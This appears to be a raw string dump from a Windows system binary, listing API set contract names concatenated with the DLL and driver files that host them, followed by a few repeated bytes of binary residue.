1api-ms-win-core-version-private-l1-1-0api-ms-win-core-versionansi-l1-1-1api-ms-win-core-windowsceip-l1-1-0api-ms-win-core-windowserrorreporting-l1-1-3api-ms-win-core-winrt-l1-1-0api-ms-win-core-winrt-error-l1-1-1api-ms-win-core-winrt-errorprivate-l1-1-1wintypes.dllapi-ms-win-core-winrt-propertysetprivate-l1-1-1api-ms-win-core-winrt-registration-l1-1-0api-ms-win-core-winrt-robuffer-l1-1-0api-ms-win-core-winrt-roparameterizediid-l1-1-0api-ms-win-core-winrt-string-l1-1-1api-ms-win-core-wow64-l1-1-3api-ms-win-core-xstate-l1-1-3api-ms-win-core-xstate-l2-1-2api-ms-win-coremessaging-host-l1-1-0api-ms-win-coreui-secruntime-l1-1-0ucrtbase.dllapi-ms-win-crt-conio-l1-1-0api-ms-win-crt-convert-l1-1-0api-ms-win-crt-environment-l1-1-0api-ms-win-crt-filesystem-l1-1-0api-ms-win-crt-heap-l1-1-0api-ms-win-crt-locale-l1-1-0api-ms-win-crt-math-l1-1-0api-ms-win-crt-multibyte-l1-1-0api-ms-win-crt-private-l1-1-0api-ms-win-crt-process-l1-1-0api-ms-win-crt-runtime-l1-1-0api-ms-win-crt-stdio-l1-1-0api-ms-win-crt-string-l1-1-0api-ms-win-crt-time-l1-1-0api-ms-win-crt-utility-l1-1-0api-ms-win-deprecated-apis-advapi-l1-1-0api-ms-win-deprecated-apis-legacy-l1-2-0api-ms-win-deprecated-apis-legacy-l1-1-0api-ms-win-deprecated-apis-obsolete-l1-1-0cfgmgr32.dllapi-ms-win-devices-config-l1-1-2api-ms-win-devices-query-l1-1-1api-ms-win-devices-swdevice-l1-1-1api-ms-win-downlevel-advapi32-l1-1-0sechost.dllapi-ms-win-downlevel-advapi32-l2-1-0ntmarta.dllapi-ms-win-downlevel-advapi32-l3-1-0api-ms-win-downlevel-advapi32-l4-1-0api-ms-win-downlevel-kernel32-l1-1-0api-ms-win-downlevel-kernel32-l2-1-0api-ms-win-downlevel-normaliz-l1-1-0api-ms-win-downlevel-ole32-l1-1-0api-ms-win-downlevel-shell32-l1-1-0api-ms-win-downlevel-shlwapi-l1-1-0api-ms-win-downlevel-shlwapi-l2-1-0api-ms-win-downlevel-user32-l1-1-0api-ms-win-downlevel-version-l1-1-0dwmapi.dllapi-ms-win-dwmapi-l1-1-0gdi32.dllapi-ms-win-dx-d3dkmt-l1-1-9api-ms-win-eventing-classicprovider-l1-1-0api-ms-win-eventing-consumer-l1-1-2api-ms-win-eventing-controller-l1-1-1api-ms-win-eventing-legacy-l1-1-0api-ms-win-eventing-obsolete-l1-1-0api-ms-win-eventing-provider-l1-1-0tdh.dllapi-ms-win-eventing-tdh-l1-1-2api-ms-win-eventlog-legacy-l1-1-0api-ms-win-gaming-deviceinformation-l1-1-0gamemode.dllapi-ms-win-gaming-expandedresources-l1-1-0api-ms-win-gaming-experience-l1-1-0gamingtcui.dllapi-ms-win-gaming-tcui-l1-1-4api-ms-win-gdi-dpiinfo-l1-1-0gdi32full.dllapi-ms-win-gdi-internal-uap-l1-1-0api-ms-win-ham-apphistory-l1-1-0api-ms-win-ham-hamplm-l1-1-0api-ms-win-http-time-l1-1-0api-ms-win-input-ie-interactioncontext-l1-1-0api-ms-win-legacy-shlwapi-l1-1-0winmm.dllapi-ms-win-mm-joystick-l1-1-0api-ms-win-mm-mci-l1-1-0winmmbase.dllapi-ms-win-mm-misc-l1-1-1api-ms-win-mm-misc-l2-1-0api-ms-win-mm-mme-l1-1-0api-ms-win-mm-playsound-l1-1-0api-ms-win-mm-time-l1-1-0firewallapi.dllapi-ms-win-net-isolation-l1-1-1ondemandconnroutehelper.dllapi-ms-win-networking-interfacecontexts-l1-1-0ngckeyenum.dllapi-ms-win-ngc-serialization-l1-1-1user32.dllapi-ms-win-ntuser-ie-message-l1-1-0api-ms-win-ntuser-ie-window-l1-1-0api-ms-win-ntuser-ie-wmpointer-l1-1-0api-ms-win-ntuser-rectangle-l1-1-0api-ms-win-ntuser-sysparams-l1-1-0api-ms-win-obsolete-localization-l1-1-0api-ms-win-obsolete-psapi-l1-1-0api-ms-win-obsolete-shlwapi-l1-1-0ole32.dllapi-ms-win-ole32-ie-l1-1-0api-ms-win-oobe-notification-l1-1-0api-ms-win-perf-legacy-l1-1-0powrprof.dllapi-ms-win-power-base-l1-1-0api-ms-win-power-limitsmanagement-l1-1-0api-ms-win-power-setting-l1-1-1coreprivacysettingsstore.dllapi-ms-win-privacy-coreprivacysettingsstore-l1-1-0api-ms-win-ro-typeresolution-l1-1-1api-ms-win-rtcore-minuser-private-l1-1-1api-ms-win-rtcore-navigation-l1-1-0api-ms-win-rtcore-ntuser-clipboard-l1-1-0api-ms-win-rtcore-ntuser-draw-l1-1-0api-ms-win-rtcore-ntuser-powermanagement-l1-1-0api-ms-win-rtcore-ntuser-private-l1-1-11api-ms-win-rtcore-ntuser-shell-l1-1-0api-ms-win-rtcore-ntuser-synch-l1-1-0api-ms-win-rtcore-ntuser-window-l1-1-0api-ms-win-rtcore-ntuser-winevent-l1-1-0api-ms-win-rtcore-ntuser-wmpointer-l1-2-0api-ms-win-rtcore-ntuser-wmpointer-l1-1-3api-ms-win-rtcore-ole32-clipboard-l1-1-1api-ms-win-rtcore-session-l1-1-0api-ms-win-security-accesshlpr-l1-1-0api-ms-win-security-activedirectoryclient-l1-1-1api-ms-win-security-appcontainer-l1-1-0api-ms-win-security-audit-l1-1-1api-ms-win-security-base-l1-2-2api-ms-win-security-base-l1-1-1api-ms-win-security-base-ansi-l1-1-0api-ms-win-security-base-private-l1-1-2api-ms-win-security-capability-l1-1-1api-ms-win-security-cpwl-l1-1-0api-ms-win-security-credentials-l1-1-0api-ms-win-security-credentials-l2-1-1cryptsp.dllapi-ms-win-security-cryptoapi-l1-1-0api-ms-win-security-grouppolicy-l1-1-0api-ms-win-security-isolatedcontainer-l1-1-1api-ms-win-security-isolationapi-l1-2-0api-ms-win-security-isolationapi-l1-1-0api-ms-win-security-isolationpolicy-l1-2-0api-ms-win-security-isolationpolicy-l1-1-0licenseprotection.dllapi-ms-win-security-licenseprotection-l1-1-0api-ms-win-security-logon-l1-1-1api-ms-win-security-lsalookup-l1-1-2api-ms-win-security-lsalookup-ansi-l2-1-0api-ms-win-security-lsalookup-l2-1-1api-ms-win-security-lsapolicy-l1-1-2api-ms-win-security-provider-l1-1-0api-ms-win-security-provider-ansi-l1-1-0api-ms-win-security-sddl-l1-1-0api-ms-win-security-sddl-ansi-l1-1-0api-ms-win-security-sddl-private-l1-1-0api-ms-win-security-sddlparsecond-l1-1-1api-ms-win-security-systemfunctions-l1-1-0api-ms-win-security-trustee-l1-1-2api-ms-win-service-core-l1-1-5api-ms-win-service-core-ansi-l1-1-1api-ms-win-service-legacy-l1-1-0api-ms-win-service-management-l1-1-0api-ms-win-service-management-l2-1-0api-ms-win-service-private-l1-2-2api-ms-win-service-private-l1-1-5api-ms-win-service-winsvc-l1-2-0api-ms-win-service-winsvc-l1-1-0api-ms-win-shcore-comhelpers-l1-1-0api-ms-win-shcore-obsolete-l1-1-0api-ms-win-shcore-path-l1-1-0api-ms-win-shcore-registry-l1-1-1api-ms-win-shcore-scaling-l1-1-2api-ms-win-shcore-stream-l1-1-0api-ms-win-shcore-stream-winrt-l1-1-0api-ms-win-shcore-sysinfo-l1-1-0api-ms-win-shcore-taskpool-l1-1-0api-ms-win-shcore-thread-l1-1-0api-ms-win-shcore-unicodeansi-l1-1-0windows.storage.dllapi-ms-win-shell-associations-l1-1-3api-ms-win-shell-changenotify-l1-1-1api-ms-win-shell-dataobject-l1-1-1api-ms-win-shell-namespace-l1-1-1api-ms-win-shell-shdirectory-l1-1-0api-ms-win-shell-shell32legacy-shdirectory-l1-1-0api-ms-win-shell-shellcom-l1-1-0api-ms-win-shell-shellfolders-l1-1-1shlwapi.dllapi-ms-win-shlwapi-ie-l1-1-0api-ms-win-shlwapi-winrt-storage-l1-1-1api-ms-win-stateseparation-helpers-l1-1-1api-ms-win-storage-exports-external-l1-1-2api-ms-win-storage-exports-internal-l1-1-0storageusage.dllapi-ms-win-storage-reserve-l1-1-0windows.storage.search.dllapi-ms-win-winrt-search-folder-l1-1-1wslapi.dllapi-ms-win-wsl-api-l1-1-0ext-ms-mf-pal-l2-1-1eapsimextdesktop.dllext-ms-net-eap-sim-l1-1-0vpnsohdesktop.dllext-ms-net-vpn-soh-l1-1-0ext-ms-onecore-appchromeapi-l1-1-0ext-ms-onecore-appdefaults-l1-1-0appxdeploymentclient.dllext-ms-onecore-appmodel-deployment-internal-l1-1-2ext-ms-onecore-appmodel-emclient-l1-1-0ext-ms-onecore-appmodel-emsvcs-l1-1-0ext-ms-onecore-appmodel-pacmanclient-l1-1-0windows.staterepositoryclient.dllext-ms-onecore-appmodel-staterepository-appextension-l1-1-0windows.staterepositorycore.dllext-ms-onecore-appmodel-staterepository-cache-l1-1-5ext-ms-onecore-appmodel-staterepository-internal-l1-1-7ext-ms-onecore-appmodel-staterepository-pkgextension-l1-1-0tdlmigration.dllext-ms-onecore-appmodel-tdlmigration-l1-1-1ext-ms-onecore-comp-dwmmonitor-l1-1-0dcomp.dllext-ms-onecore-dcomp-l1-1-0ext-ms-onecore-defaultdiscovery-l1-1-0ext-ms-onecore-hcap-svf-l1-1-0hlink.dllext-ms-onecore-hlink-l1-1-0hnetcfgclient.dllext-ms-onecore-hnetcfg-l1-1-0ipnathlpclient.dllext-ms-onecore-ipnathlp-l1-1-0ext-ms-onecore-mpc-input-l1-1-0ext-ms-onecore-orientation-l1-1-0ddcclaimsapi.dllext-ms-onecore-service-devicedirectory-claims-l1-1-0ext-ms-onecore-shellchromeapi-l1-1-2ext-ms-onecore-shellremindersapi-l1-1-0ext-ms-onecore-shlwapi-l1-1-1ext-ms-onecore-spectrumsyncclient-l1-1-0winaccel.sysext-ms-win-accel-api-km-l1-1-0activeds.dllext-ms-win-adsi-activeds-l1-1-0ext-ms-win-advapi32-auth-l1-1-0ext-ms-win-advapi32-encryptedfile-l1-1-1ext-ms-win-advapi32-eventlog-l1-1-2ext-ms-win-advapi32-eventlog-ansi-l1-1-0ext-ms-win-advapi32-hwprof-l1-1-0ext-ms-win-advapi32-idletask-l1-1-0ext-ms-win-advapi32-lsa-l1-1-4ext-ms-win-advapi32-msi-l1-1-0ext-ms-win-advapi32-npusername-l1-1-0ext-ms-win-advapi32-ntmarta-l1-1-0ext-ms-win-advapi32-psm-app-l1-1-0ext-ms-win-advapi32-registry-l1-1-1ext-ms-win-advapi32-safer-l1-1-0ext-ms-win-advapi32-shutdown-l1-1-0aeinv.dllext-ms-win-appcompat-aeinv-l1-1-1aepic.dllext-ms-win-appcompat-aepic-l1-1-0apphelp.dllext-ms-win-appcompat-apphelp-l1-1-2pcacli.dllext-ms-win-appcompat-pcacli-l1-1-0activationmanager.dllext-ms-win-appmodel-activation-l1-1-2ext-ms-win-appmodel-appcontainerpath-l1-1-0apisethost.appexecutionalias.dllext-ms-win-appmodel-appexecutionalias-l1-1-5ext-ms-win-appmodel-datasharingservice-extensions-l1-1-0daxexec.dllext-ms-win-appmodel-daxcore-l1-1-3ext-ms-win-appmodel-deployment-l1-1-1ext-ms-win-appmodel-deploymentvolumes-l1-1-1opcservices.dllext-ms-win-appmodel-opc-l1-1-0appxdeploymentextensions.desktop.dllext-ms-win-appmodel-registrycompatibility-l1-1-0ext-ms-win-appmodel-restrictedappcontainer-internal-l1-1-0ext-ms-win-appmodel-shellexecute-l1-1-0ext-ms-win-appmodel-state-ext-l1-2-0ext-ms-win-appmodel-usercontext-l1-1-0ext-ms-win-appmodel-viewscalefactor-l1-1-0ext-ms-win-appxdeploymentclient-appxdeploy-l1-1-1ext-ms-win-appxdeploymentclient-appxdeployonecore-l1-1-1ext-ms-win-audio-spatial-systemsound-l1-1-0coreaudiopolicymanagerext.dllext-ms-win-audiocore-coreaudiopolicymanager-l1-1-0ext-ms-win-audiocore-pal-l1-2-0ext-ms-win-audiocore-policymanager-l1-1-1ext-ms-win-audiocore-spatial-l1-1-0authz.dllext-ms-win-authz-claimpolicies-l1-1-0ext-ms-win-authz-context-l1-1-0logoncli.dllext-ms-win-authz-remote-l1-1-0psapi.dllext-ms-win-base-psapi-l1-1-0rstrtmgr.dllext-ms-win-base-rstrtmgr-l1-1-0winbioext.dllext-ms-win-biometrics-winbio-l1-3-0ext-ms-win-biometrics-winbio-l1-2-0ext-ms-win-biometrics-winbio-l1-1-0winbio.dllext-ms-win-biometrics-winbio-core-l1-1-7bluetoothapis.dllext-ms-win-bluetooth-apis-l1-1-0ext-ms-win-bluetooth-apis-internal-l1-1-0ext-ms-win-bluetooth-apis-private-l1-1-0winbrand.dllext-ms-win-branding-winbrand-l1-2-0ext-ms-win-branding-winbrand-l1-1-2capabilityaccessmanager.desktop.storage.dllext-ms-win-capabilityaccessmanager-storage-l1-1-0ext-ms-win-casting-device-l1-1-0miracastreceiverext.dllext-ms-win-casting-lockscreen-l1-1-0ext-ms-win-casting-receiver-l1-1-1castingshellext.dllext-ms-win-casting-shell-l1-1-0manageci.dllext-ms-win-ci-management-l1-1-3ext-ms-win-ci-xbox-l1-1-0ext-ms-win-cloudap-tbal-l1-1-0ext-ms-win-clouddomainjoin-usermanagement-l1-1-0clusapi.dllext-ms-win-cluster-clusapi-l1-1-6resutils.dllext-ms-win-cluster-resutils-l1-1-3cmdext.dllext-ms-win-cmd-util-l1-1-0bcryptprimitives.dllext-ms-win-cng-rng-l1-1-1ext-ms-win-com-apartmentrestriction-l1-1-0clbcatq.dllext-ms-win-com-clbcatq-l1-1-0ext-ms-win-com-coml2-l1-1-1ext-ms-win-com-ole32-l1-4-0ext-ms-win-com-ole32-l1-3-0ext-ms-win-com-ole32-l1-2-0ext-ms-win-com-ole32-l1-1-5ext-ms-win-com-psmregister-l1-3-1ext-ms-win-com-psmregister-l1-2-2ext-ms-win-com-psmregister-l1-1-0ext-ms-win-com-sta-l1-1-0ext-ms-win-com-suspendresiliency-l1-1-0dwmghost.dllext-ms-win-composition-ghost-l1-1-0ext-ms-win-composition-holographic-l1-1-0dwminit.dllext-ms-win-composition-init-l1-1-0ism.dllext-ms-win-compositor-hosting-l1-3-0ext-ms-win-compositor-hosting-l1-2-1ext-ms-win-compositor-hosting-l1-1-1connectionattributionapi.dllext-ms-win-connectionattribution-api-l1-1-0ext-ms-win-containers-policymanagercli-l1-1-1ext-ms-win-core-app-package-registration-l1-1-1ext-ms-win-core-app-package-volume-l1-1-0ext-ms-win-core-container-init-l1-1-0ext-ms-win-core-dhcp6client-l1-1-0gamestreamingext.dllext-ms-win-core-game-streaming-l1-1-0urlmon.dllext-ms-win-core-iuri-l1-1-0ext-ms-win-core-licensemanager-l1-1-2ext-ms-win-core-marshal-l2-1-0pkeyhelper.dllext-ms-win-core-pkeyhelper-l1-1-0bisrv.dllext-ms-win-core-psm-bi-l1-2-0ext-ms-win-core-psm-bi-l1-1-0ext-ms-win-core-psm-extendedresourcemode-l1-1-0psmserviceexthost.dllext-ms-win-core-psm-service-l1-1-6ext-ms-win-core-resourcemanager-l1-2-1ext-ms-win-core-resourcemanager-l1-1-0resourcepolicyclient.dllext-ms-win-core-resourcepolicy-l1-1-2resourcepolicyserver.dllext-ms-win-core-resourcepolicyserver-l1-1-1ext-ms-win-core-stateseparationext-l1-1-0licensemanagerapi.dllext-ms-win-core-storelicensing-l1-2-1ext-ms-win-core-storelicensing-l1-1-0tdhres.dllext-ms-win-core-symbolicnames-l1-1-0win32kbase.sysext-ms-win-core-win32k-base-export-l1-1-0ext-ms-win-core-win32k-baseinit-l1-1-0win32kfull.sysext-ms-win-core-win32k-common-export-l1-1-0ext-ms-win-core-win32k-common-input-l1-1-0ext-ms-win-core-win32k-common-inputrim-l1-1-0ext-ms-win-core-win32k-common-user-l1-1-0ext-ms-win-core-win32k-dcomp-l1-1-3ext-ms-win-core-win32k-ddccigdi-l1-1-1ext-ms-win-corwin-dx-ddraw-l1-1-0dinput8.dllext-ms-win-dx-dinput8-l1-1-0directxdatabasehelper.dllext-ms-win-dx-dxdbhelper-l1-1-4ext-ms-win-dxcore-l1-1-0ext-ms-win-dxcore-internal-l1-1-0edputil.dllext-ms-win-edputil-policy-l1-1-2elscore.dllext-ms-win-els-elscore-l1-1-0pdh.dllext-ms-win-eventing-pdh-l1-1-3etwrundown.dllext-ms-win-eventing-rundown-l1-1-0ext-ms-win-eventing-tdh-ext-l1-1-0ext-ms-win-eventing-tdh-priv-l1-1-0wdi.dllext-ms-win-eventing-wdi-l1-1-0familysafetyext.dllext-ms-win-familysafety-childaccount-l1-1-0feclient.dllext-ms-win-feclient-encryptedfile-l1-1-3ext-ms-win-firewallapi-webproxy-l1-1-1fontgroupsoverride.dllext-ms-win-font-fontgroups-l1-1-0muifontsetup.dllext-ms-win-font-setup-l1-1-0clfs.sysext-ms-win-fs-clfs-l1-1-0cscapi.dllext-ms-win-fs-cscapi-l1-1-1vssapi.dllext-ms-win-fs-vssapi-l1-1-0fsutilext.dllext-ms-win-fsutilext-ifsutil-l1-1-0ext-ms-win-fsutilext-ulib-l1-1-0fveapi.dllext-ms-win-fveapi-query-l1-1-0ext-ms-win-gaming-devicefamily-l1-1-0gamechatoverlayext.dllext-ms-win-gaming-gamechatoverlay-l1-1-0xblgamesaveext.dllext-ms-win-gaming-xblgamesave-l1-1-0xinputuap.dllext-ms-win-gaming-xinput-l1-1-0ext-ms-win-gdi-clipping-l1-1-0ext-ms-win-gdi-dc-l1-2-1ext-ms-win-gdi-dc-create-l1-1-2ext-ms-win-gdi-devcaps-l1-1-0ext-ms-win-gdi-draw-l1-1-3ext-ms-win-gdi-edgegdi-l1-1-0ext-ms-win-gdi-font-l1-1-3gdiplus.dllext-ms-win-gdi-gdiplus-l1-1-0ext-ms-win-gdi-internal-desktop-l1-1-6ext-ms-win-gdi-internal-uap-init-l1-1-0ext-ms-win-gdi-metafile-l1-1-2ext-ms-win-gdi-path-l1-1-0ext-ms-win-gdi-print-l1-1-0ext-ms-win-gdi-private-l1-1-0ext-ms-win-gdi-render-l1-1-0ext-ms-win-gdi-rgn-l1-1-0ext-ms-win-gdi-wcs-l1-1-0globinputhost.dllext-ms-win-globalization-input-l1-1-3gpapi.dllext-ms-win-gpapi-grouppolicy-l1-1-0gpsvc.dllext-ms-win-gpsvc-grouppolicy-l1-1-0dui70.dllext-ms-win-gui-dui70-l1-1-0ieui.dllext-ms-win-gui-ieui-l1-1-0uxinit.dllext-ms-win-gui-uxinit-l1-1-1ext-ms-win-hcihealth-utils-l1-1-0ext-ms-win-hostactivitymanager-bi-ham-ext-l1-1-0ext-ms-win-hostactivitymanager-ham-private-ext-l1-1-0ext-ms-win-hostactivitymanager-hostidstore-l1-1-1ext-ms-win-hyperv-compute-l1-2-5ext-ms-win-hyperv-compute-l1-1-1ext-ms-win-hyperv-compute-legacy-l1-1-0ext-ms-win-hyperv-computenetwork-l1-1-1ext-ms-win-hyperv-computestorage-l1-1-2ext-ms-win-hyperv-devicevirtualization-l1-2-2ext-ms-win-hyperv-devicevirtualization-l1-1-1vmhgs.dllext-ms-win-hyperv-hgs-l1-1-0winhvemulation.dllext-ms-win-hyperv-hvemulation-l1-1-0winhvplatform.dllext-ms-win-hyperv-hvplatform-l1-1-5ext-ms-win-ie-textinput-l1-1-0imm32.dllext-ms-win-imm-l1-1-3ext-ms-win-kernel32-appcompat-l1-1-0ext-ms-win-kernel32-datetime-l1-1-0ext-ms-win-kernel32-elevation-l1-1-0faultrep.dllext-ms-win-kernel32-errorhandling-l1-1-0ext-ms-win-kernel32-file-l1-1-0ext-ms-win-kernel32-localization-l1-1-0ext-ms-win-kernel32-package-l1-1-2ext-ms-win-kernel32-package-current-l1-1-0ext-ms-win-kernel32-process-l1-1-0ext-ms-win-kernel32-quirks-l1-1-1ext-ms-win-kernel32-registry-l1-1-0ext-ms-win-kernel32-sidebyside-l1-1-0ext-ms-win-kernel32-transacted-l1-1-0ext-ms-win-kernel32-updateresource-l1-1-0ext-ms-win-kernel32-windowserrorreporting-l1-1-1ext-ms-win-kernelbase-processthread-l1-2-0ext-ms-win-kernelbase-processthread-l1-1-3ext-ms-win-kioskmode-config-l1-1-0laps.dllext-ms-win-laps-l1-1-1lamparray.dllext-ms-win-lighting-lamparray-l1-1-1mapistub.dllext-ms-win-mapi-mapi32-l1-1-0avifil32.dllext-ms-win-media-avi-l1-1-0ext-ms-win-media-codecpack-mounting-l1-1-0ext-ms-win-mf-devicespecific-l1-1-0mfvfw.dllext-ms-win-mf-vfw-l1-1-0inputhost.dllext-ms-win-mininput-cursorhost-l1-1-0ext-ms-win-mininput-extensions-l1-1-0ext-ms-win-mininput-inputhost-l1-4-0ext-ms-win-mininput-inputhost-l1-3-0ext-ms-win-mininput-inputhost-l1-2-1ext-ms-win-mininput-inputhost-l1-1-1ext-ms-win-mininput-systeminputhost-l1-2-0ext-ms-win-mininput-systeminputhost-l1-1-0ext-ms-win-mm-io-l1-1-0msacm32.dllext-ms-win-mm-msacm-l1-1-0mf.dllext-ms-win-mm-pehelper-l1-1-0wmvcore.dllext-ms-win-mm-wmvcore-l1-1-0ext-ms-win-moderncore-win32k-base-ntgdi-l1-1-0ext-ms-win-moderncore-win32k-base-ntuser-l1-1-0ext-ms-win-moderncore-win32k-base-sysentry-l1-1-0mprext.dllext-ms-win-mpr-multipleproviderrouter-l1-1-0mrmcorer.dllext-ms-win-mrmcorer-resmanager-l1-1-0ext-ms-win-msa-device-l1-1-0msauserext.dllext-ms-win-msa-ui-l1-1-0ext-ms-win-msa-user-l1-1-1msi.dllext-ms-win-msi-misc-l1-1-0msiltcfg.dllext-ms-win-msiltcfg-msi-l1-1-0msimg32.dllext-ms-win-msimg-draw-l1-1-0cmintegrator.dllext-ms-win-net-cmvpn-l1-1-0httpprxc.dllext-ms-win-net-httpproxyext-l1-1-0ext-ms-win-net-isoext-l1-1-0netbios.dllext-ms-win-net-netbios-l1-1-0netshell.dllext-ms-win-net-netshell-l1-1-0ndfapi.dllext-ms-win-net-nfdapi-l1-1-1ext-ms-win-net-vpn-l1-1-0netio.sysext-ms-win-netio-l1-1-0netprovfw.dllext-ms-win-netprovision-netprovfw-l1-1-0ext-ms-win-networking-iphlpsvc-l1-1-0ext-ms-win-networking-mpssvc-l1-1-0ext-ms-win-networking-ncsiuserprobe-l1-1-0windows.devices.radios.dllext-ms-win-networking-radiomonitor-l1-1-0windows.networking.connectivity.dllext-ms-win-networking-teredo-l1-1-0wcmapi.dllext-ms-win-networking-wcmapi-l1-1-1winipsec.dllext-ms-win-networking-winipsec-l1-1-0wlanapi.dllext-ms-win-networking-wlanapi-l1-1-0ext-ms-win-networking-wlanstorage-l1-1-0ext-ms-win-networking-xblconnectivity-l1-1-0ext-ms-win-newdev-config-l1-1-2semgrsvc.dllext-ms-win-nfc-semgr-l1-1-0ext-ms-win-ntdsa-activedirectoryasyncthreadqueue-l1-1-0ext-ms-win-ntdsa-activedirectoryserver-l1-1-2ntdsapi.dllext-ms-win-ntdsapi-activedirectoryclient-l1-1-1clipsp.sysext-ms-win-ntos-clipsp-l1-1-0ext-ms-win-ntos-dg-l1-1-0globmerger.sysext-ms-win-ntos-globmerger-l1-1-0cmimcext.sysext-ms-win-ntos-kcminitcfg-l1-1-0ext-ms-win-ntos-ksecurity-l1-1-1ext-ms-win-ntos-ksr-l1-1-5ext-ms-win-ntos-processparameters-l1-1-0ext-ms-win-ntos-runlevels-l1-1-0ext-ms-win-ntos-stateseparation-l1-1-0tm.sysext-ms-win-ntos-tm-l1-1-0ext-ms-win-ntos-trace-l1-1-0ntosext.sysext-ms-win-ntos-ucode-l1-1-0ext-ms-win-ntos-vail-l1-1-0ext-ms-win-ntos-vmsvc-l1-1-0werkernel.sysext-ms-win-ntos-werkernel-l1-1-1ext-ms-win-ntos-win32k-l1-1-0ext-ms-win-ntuser-caret-l1-1-0ext-ms-win-ntuser-chartranslation-l1-1-0ext-ms-win-ntuser-dc-access-ext-l1-1-0ext-ms-win-ntuser-dde-l1-1-0ext-ms-win-ntuser-dicore-ntuser-mouse-l1-1-0ext-ms-win-rtcore-ntuser-powermanagement-l1-1-0ext-ms-win-rtcore-ntuser-private-l1-1-1ext-ms-win-rtcore-ntuser-rawinput-l1-2-0ext-ms-win-rtcore-ntuser-rawinput-l1-1-1ext-ms-win-rtcore-ntuser-synch-ext-l1-1-0ext-ms-win-rtcore-ntuser-syscolors-l1-1-0ext-ms-win-rtcore-ntuser-sysparams-l1-1-0ext-ms-win-rtcore-ntuser-usersecurity-l1-1-0ext-ms-win-rtcore-ntuser-window-l1-1-0ext-ms-win-rtcore-ntuser-window-ansi-l1-1-0ext-ms-win-rtcore-ntuser-window-ext-l1-1-1ext-ms-win-rtcore-ntuser-winevent-ext-l1-1-0ext-ms-win-rtcore-ntuser-winstamin-l1-1-0ext-ms-win-rtcore-ntuser-wmpointer-l1-1-0ext-ms-win-rtcore-ntuser-wmpointermin-l1-1-0ext-ms-win-rtcore-ole32-dragdrop-l1-1-0ext-ms-win-rtcore-ole32-misc-l1-1-0ext-ms-win-rtcore-webview-l1-1-0samsrv.dllext-ms-win-samsrv-accountstore-l1-1-1scesrv.dllext-ms-win-scesrv-server-l1-1-0searchfolder.dllext-ms-win-search-folder-l1-1-1mssrch.dllext-ms-win-search-lifetimemanager-l1-1-0secur32.dllext-ms-win-secur32-translatename-l1-1-0appinfoext.dllext-ms-win-security-appinfoext-l1-1-0authbrokerui.dllext-ms-win-security-authbrokerui-l1-1-0ext-ms-win-security-authz-helper-l1-1-0capauthz.dllext-ms-win-security-capauthz-l1-1-1cryptcatsvc.dllext-ms-win-security-catalog-database-l1-1-0certpoleng.dllext-ms-win-security-certpoleng-l1-1-0cflapi.dllext-ms-win-security-cfl-l1-1-2ext-ms-win-security-chambers-l1-1-1credui.dllext-ms-win-security-credui-l1-1-1wincredui.dllext-ms-win-security-credui-internal-l1-1-1ext-ms-win-security-crosscontainerauthhelper-l1-1-0cryptui.dllext-ms-win-security-cryptui-l1-1-1ext-ms-win-security-developerunlock-l1-1-0ext-ms-win-security-deviceid-l1-1-0efsext.dllext-ms-win-security-efs-l1-1-1efswrt.dllext-ms-win-security-efswrt-l1-1-4kerberos.dllext-ms-win-security-kerberos-l1-1-0lsaadt.dllext-ms-win-security-lsaadt-l1-1-0ext-ms-win-security-lsaadtpriv-l1-1-0ext-ms-win-security-lsaauditrpc-l1-1-0ngclocal.dllext-ms-win-security-ngc-local-l1-1-0shutdownext.dllext-ms-win-security-shutdownext-l1-1-0slc.dllext-ms-win-security-slc-l1-1-0srpapi.dllext-ms-win-secli.dllext-ms-win-smbshare-browserclient-l1-1-0sscoreext.dllext-ms-win-smbshare-sscore-l1-1-0spinf.dllext-ms-win-spinf-inf-l1-1-0hbaapi.dllext-ms-win-storage-hbaapi-l1-1-1iscsidsc.dllext-ms-win-storage-iscsidsc-l1-1-0ext-ms-win-storage-sense-l1-2-5ext-ms-win-storage-sense-l1-1-0sxs.dllext-ms-win-sxs-oleautomation-l1-1-0pfclient.dllext-ms-win-sysmain-pfapi-l1-1-1ext-ms-win-sysmain-pfsapi-l1-1-0ext-ms-win-sysmain-plmapi-l1-1-1ext-ms-win-sysmain-sfltapi-l1-1-1ext-ms-win-system-metrics-override-l1-1-1eapteapext.dllext-ms-win-teapext-eap-l1-1-0ext-ms-win-test-sys1-l1-1-0ext-ms-win-test-sys2-l1-1-0input.dllext-ms-win-tsf-inputsetting-l1-1-0msctf.dllext-ms-win-tsf-msctf-l1-1-4ttlsext.dllext-ms-win-ttlsext-eap-l1-1-0ext-ms-win-ui-viewmanagement-l1-1-0uiautomationcore.dllext-ms-win-uiacore-l1-1-3umpoext.dllext-ms-win-umpoext-umpo-l1-1-0ext-ms-win-usp10-l1-1-0uwfservicingapi.dllext-ms-win-uwf-servicing-apis-l1-1-1uxtheme.dllext-ms-win-uxtheme-themes-l1-1-3hvsocket.sysext-ms-win-vmbus-hvsocket-l1-1-0ext-ms-win-webtokenrequest-win32-l1-1-0wer.dllext-ms-win-wer-reporting-l1-1-3werui.dllext-ms-win-wer-ui-l1-1-1ext-ms-win-wer-wct-l1-1-0ext-ms-win-wer-xbox-l1-2-1ext-ms-win-wer-xbox-l1-1-3wevtapi.dllext-ms-win-wevtapi-eventlog-l1-1-3windows.ui.dllext-ms-win-windowing-external-l1-1-0ext-ms-win-windowing-internal-l1-1-0ext-ms-win-winlogon-mincreds-l1-1-0deviceaccess.dllext-ms-win-winrt-device-access-l1-1-0ext-ms-win-winrt-storage-l1-2-3ext-ms-win-winrt-storage-l1-1-0windows.storage.onecore.dllext-ms-win-winrt-storage-win32broker-l1-1-0wlgpclnt.dllext-ms-win-wlan-grouppolicy-l1-1-0onexui.dllext-ms-win-wlan-onexui-l1-1-0ext-ms-win-wlan-scard-l1-1-0wpcwebfilter.dllext-ms-win-wpc-webfilter-l1-1-0ext-ms-win-wpn-phoneext-l1-1-0sfc.dllext-ms-win-wrp-sfc-l1-1-0wsclient.dllext-ms-win-wsclient-devlicense-l1-1-1wwaext.dllext-ms-win-wwaext-misc-l1-1-0ext-ms-win-wwaext-module-l1-1-0wwapi.dllext-ms-win-wwan-wwapi-l1-1-3windows.ui.xaml.phone.dllext-ms-win-xaml-controls-l1-1-0ext-ms-win-xaml-pal-l1-1-0ext-ms-win-xaudio-platform-l1-1-0ext-ms-win-xblauth-console-l1-1-0ext-ms-win-xboxlive-xboxnetapisvc-l1-1-0ext-ms-win32-subsystem-query-l1-1-0ext-ms-windowscore-deviceinfo-l1-1-0 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 3++S++ 